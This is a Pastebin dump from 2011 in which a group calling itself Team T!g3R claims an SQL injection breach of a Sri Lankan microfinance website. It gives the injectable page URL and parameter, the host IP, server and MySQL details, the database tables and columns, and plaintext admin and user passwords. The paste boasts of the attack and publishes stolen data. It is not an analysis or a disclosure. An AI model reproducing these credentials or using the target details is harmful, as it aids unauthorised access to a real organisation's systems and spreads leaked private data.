w3bd3f4c3r

Untitled

Sep 3rd, 2011
540
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ############################### HACKED BY TEAM T!g3R #####################################
  2. MICROFINANCE OF SRILANKA HACKED BY TEAM T!g3R
  3. MEMBERS : w3bd3f4c3r, n3ll4!s4mur4!,r00t, burn3r, violence_sh@r0n.
  4. WEBSITE : www.microfinance.lk
  5. VULNEABLITY SQLi
  6. ####################################### PROOFS ###########################################
  7.  
  8. PROOF OF TABLES AND COLUMNS ACCESSED : http://i51.tinypic.com/2uqg5lt.png
  9. PROOFS OF USER TABLES : http://i55.tinypic.com/28k3m2b.png
  10.  
  11. ############################# ADMIN DETAILS ##############################################
  12.  
  13. USER NAME : admin
  14. PASSWORD : efadmingtz
  15.  
  16. ##############################SERVER DETAILS #############################################
  17.  
  18. Target: http://www.microfinance.lk/newsnew.php?id=288
  19. Host IP: 220.247.224.85
  20. Web Server: Apache
  21. Powered-by: PHP/5.2.5
  22. DB Server: MySQL >=5
  23. Resp. Time(avg): 4672 ms
  24. Current User: rbi11032008@220.247.224.85
  25. Sql Version: 5.0.77
  26. Current DB: mifit
  27. System User: rbi11032008@220.247.224.85
  28. Host Name: mysql1.sltidc.lk
  29. Installation dir: /usr/
  30. DB User: 'rbi11032008'@'220.247.224.85'
  31.  
  32. ############################## DATABASE NAMES ##############################################
  33.  
  34. Data Bases: information_schema
  35. mifit
  36.  
  37. ############################## TABLES AND COLUMNS ##########################################
  38. +TABLES+ ++COLUMNS++
  39. users role_id pass_word user_name full_name user_id
  40. userlevels role_features role_name role_id
  41. topic topic_mess topic_state hit_count user_email topic_user topic_date forum_code
  42. topic_name topic_code
  43. searchtable CategoryID District Description ContactDetails Address Name SearchID
  44. reply reply_state user_email reply_user reply_date topic_code reply_name
  45. reply_code
  46. publicationpdf pdf publication_id id
  47. publicationimage image pdf_id publication_id id
  48. publication state breaf added_on cat_id link gtz description image pdf Id title
  49. type
  50. newsimage image news_id id
  51. news edited_by added_by edited_on added_on breaf title news id
  52. mfi added_on Donor_Contact_Person Status_pending_approval_disbursed
  53. Special_conditions_of_support Terms_of_Loan
  54. Volume_of_loan_grant_for_on_lending
  55. Purpose_capacity_building_on_ending Type_of_support_Loan_Grant
  56. Supported_locations Donor MFI Id
  57. forum forum_state hit_count forum_date cat_code forum_name forum_code
  58. donor added_on Donor_Contact_Person Status_pending_approval_disbursed
  59. Special_conditions_of_support Terms_of_Loan
  60. Volume_of_loan_grant_for_on_lending
  61. Purpose_capacity_building_on_ending Type_of_support_Loan_Grant
  62. Supported_locations MFI Donor Id
  63. category
  64.  
  65.  
  66. ############################# USER DETAILS #################################################
  67. Data Found: user_id=1
  68. Data Found: full_name=admin
  69. Data Found: user_name=admin
  70. Data Found: pass_word=efadmingtz
  71. Data Found: user_id=2
  72. Data Found: full_name=user
  73. Data Found: user_name=user
  74. Data Found: pass_word=efadmingtz
  75.  
  76. ############################# HACKED BY TEAM T!g3R #########################################
RAW Paste Data